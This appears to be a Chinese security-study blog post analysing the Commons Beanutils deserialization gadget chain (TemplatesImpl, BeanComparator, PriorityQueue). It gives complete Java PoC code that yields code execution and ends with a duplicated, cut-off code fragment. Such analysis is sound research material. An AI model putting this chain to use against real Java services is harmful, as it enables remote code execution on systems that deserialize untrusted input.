首页 > 其他分享 >CB利用链分析

CB利用链分析

时间:2024-07-10 14:29:15浏览次数:11  
标签:templates name comparator 链分析 CB priorityQueue 利用 new public

分析版本

Commons Beanutils 1.9.4

JDK 8u65

参考Shiro反序列化漏洞(三)-shiro无依赖利用链

分析过程

Commons Beanutils是一个用于操作JAVA BEAN的工具包。

先看下基础使用

public class Person { //JAVA BEAN

    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}
import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person("666",24);
        //System.out.println(person.getName());
        System.out.println(PropertyUtils.getProperty(person,"name"));  //和getName作用相同
    }
}

可以打个断点,自己跟一下

下面这是反射调用Person的getName(驼峰命名,由name属性找到了getName方法)

image-20240710102201647

可以想到,invokeMethod能不能利用。

作者在这里找到的是TemplatesImpl的getOutputProperties方法。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties(); //CC3中动态加载类是由newTransformer调用的
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

而getOutputProperties方法名,是遵循驼峰命名的。可以通过PropertyUtils.getProperty(TemplatesImpl,“outputProperties”)查找到。

我们可以执行下,看看是否可以动态加载类。

Poc

    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");

//        serialize(object);
//        unserialize("s.ser");
    }

弹出计算器

接下来再找PropertyUtils.getProperty的调用,最后还是要找到readObject

作者找到的是BeanComparator的compare方法。

image-20240710111005756

public int compare( final T o1, final T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        final Object value1 = PropertyUtils.getProperty( o1, property ); //两个参数都可控制  templates,"outputProperties"
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
}

我们再联系CC2链的寻找,也是需要找一个入口链触发TransformingComparator的copare方法。

CC2中找到的是优先队列PriorityQueue的readObject方法。

更新Poc

public class CB {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        //CC2
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue<>(); //构造的时候,如果把beanComparator放入,add(1)方法会调用代码执行在Integer中查找属性outputProperties的方法,查不到会报错,抛出异常

        priorityQueue.add(templates);
        priorityQueue.add(1);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, beanComparator);

        serialize(priorityQueue);
        unserialize("s.ser");
    }
}

这样的话在priorityQueue.add(1);处会报错,跟进去看发现

add方法调用到siftDown方法

private void siftDown(int k, E x) {
    if (comparator != null)        //如果实例化优先队列定义了comparator,则进入siftDownUsingComparator(k, x);
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);   //现在的Poc 没有定义comparator,进入siftDownUsingComparator(k, x);会抛出异常
}

所以我们在实例化优先队列时把comparator定义了,就能解决问题了。

这里是利用的CC库的TransformingComparator,因为在反序列化之前,我们又通过反射把comparator改为了beanComparator,所以CC库的类并不参与序列化。

最终Poc

public class CB {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("s.ser"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        //CC3
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        //CB
        BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");
        //CC2
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); //构造的时候,如果把beanComparator放入,add(1)方法会调用代码执行在Integer中查找属性outputProperties的方法,查不到会报错,抛出异常

        priorityQueue.add(templates);
        priorityQueue.add(1);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, beanComparator);

        //serialize(priorityQueue);
        unserialize("s.ser");
    }
}
eld comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, beanComparator);

        //serialize(priorityQueue);
        unserialize("s.ser");
    }
}

标签:templates,name,comparator,链分析,CB,priorityQueue,利用,new,public
From: https://blog.csdn.net/weixin_45436292/article/details/140323107

相关文章

  • CC4利用链分析
    我的Github主页Java反序列化学习同步更新,有简单的利用链图分析版本CommonsCollections4.0JDK8u65环境配置参考JAVA安全初探(三):CC1链全分析分析过程在CommonsCollections4.0中,TransformingComparator类变为可序列化类,增加了一条攻击链。CC4在CC3的基础上,改变了......
  • AI绘画 | 如何利用SD垫图实现照片风格转换
    “小红书上有很多用AI做卡通头像的,大概思路是你拍一张个人照片发给博主,博主利用midjourney的垫图功能转换成卡通形象,一张收取一定费用……”看过之前文章的人都应该知道,midjourney是付费的软件,而且需要一定魔法上网能力。今天给大家分享,利用StableDiffusion(以下简称SD)的......
  • 利用BLIP和BLIP-2进行图像与文本特征提取:如何构建一个多模态搜索引擎
    来源网址:https://medium.com/@enrico.randellini/image-and-text-features-extraction-with-blip-and-blip-2-how-to-build-a-multimodal-search-engine-a4ceabf51fbe结合ViT和LLM的力量进行图像-文本检索任务引言图像与语言看似属于两个不同的领域,以及与之相关的常见问题。......
  • 利用AI智能体实现自动化公开课
    在这个信息爆炸的时代,AI技术逐渐渗透到各行各业,为我们的工作提供了更多可能性。在即将开始的公开课中,我们将探讨如何利用AI智能体实现自动化,从而打造专属AI助理,提升工作效率。主要内容课程的主要内容涵盖AIAgent介绍与开发框架,ReAct自动推理模式与AutoGPT产品,手工用例直接转自......
  • 利用SpringBoot+rabbitmq 实现邮件异步发送,保证100%投递成功
    在之前的文章中,我们详细介绍了SpringBoot整合mail实现各类邮件的自动推送服务。但是这类服务通常不稳定,当出现网络异常的时候,会导致邮件推送失败。本篇文章将介绍另一种高可靠的服务架构,实现邮件100%被投递成功。类似的短信自动发送等服务也大体相同。一、先来一张流程图......
  • 【转】-Java并发编程:CountDownLatch、CyclicBarrier和Semaphore
    Java并发编程:CountDownLatch、CyclicBarrier和Semaphore该博客转载自​Matrix海子​的​Java并发编程:CountDownLatch、CyclicBarrier和Semaphore在java1.5中,提供了一些非常有用的辅助类来帮助我们进行并发编程,比如CountDownLatch,CyclicBarrier和Semaphore,今天我们就来学习一下......
  • 【转】-Java并发编程:CountDownLatch、CyclicBarrier和Semaphore
    Java并发编程:CountDownLatch、CyclicBarrier和Semaphore该博客转载自​Matrix海子​的​Java并发编程:CountDownLatch、CyclicBarrier和Semaphore在java1.5中,提供了一些非常有用的辅助类来帮助我们进行并发编程,比如CountDownLatch,CyclicBarrier和Semaphore,今天我们就来学习一下......
  • 【转】-Java并发之CyclicBarrier
    Java并发之CyclicBarrier​ 该博客转载自​巴蜀码哥​**的​Java并发之CyclicBarrier**barrier(屏障)与互斥量、读写锁、自旋锁不同,它不是用来保护临界区的。相反,它跟条件变量一样,是用来协同多线程一起工作的。条件变量是多线程间传递状态的改变来达到协同工作的效果。屏障是......
  • 如何从NCBI上下载ATAC-seq数据
    如何从NCBI上下载数据——使用ASCP下载数据1.下载ASCPhttps://cloud.tencent.com/developer/article/23681502.获取NCBI上的ACCESSIONIDs①.在NCBI-SRA上检索自己想要数据。②.拉到最底下,选择sendto,再选择Runselect,最后选择GO。③.进入SRARunselect页面,选择Accessi......
  • 多条宽带负载均衡是一种常见的网络优化技术,通常用于增加网络带宽、提高网络性能和可靠
    多条宽带负载均衡是一种常见的网络优化技术,通常用于增加网络带宽、提高网络性能和可靠性。在实现多条宽带负载均衡时,可以考虑以下几种方法:路由器级别的负载均衡:智能路由器:某些商业路由器支持多个WAN口,并能够智能地根据网络流量来分配数据到不同的宽带线路上,实现负载均衡。......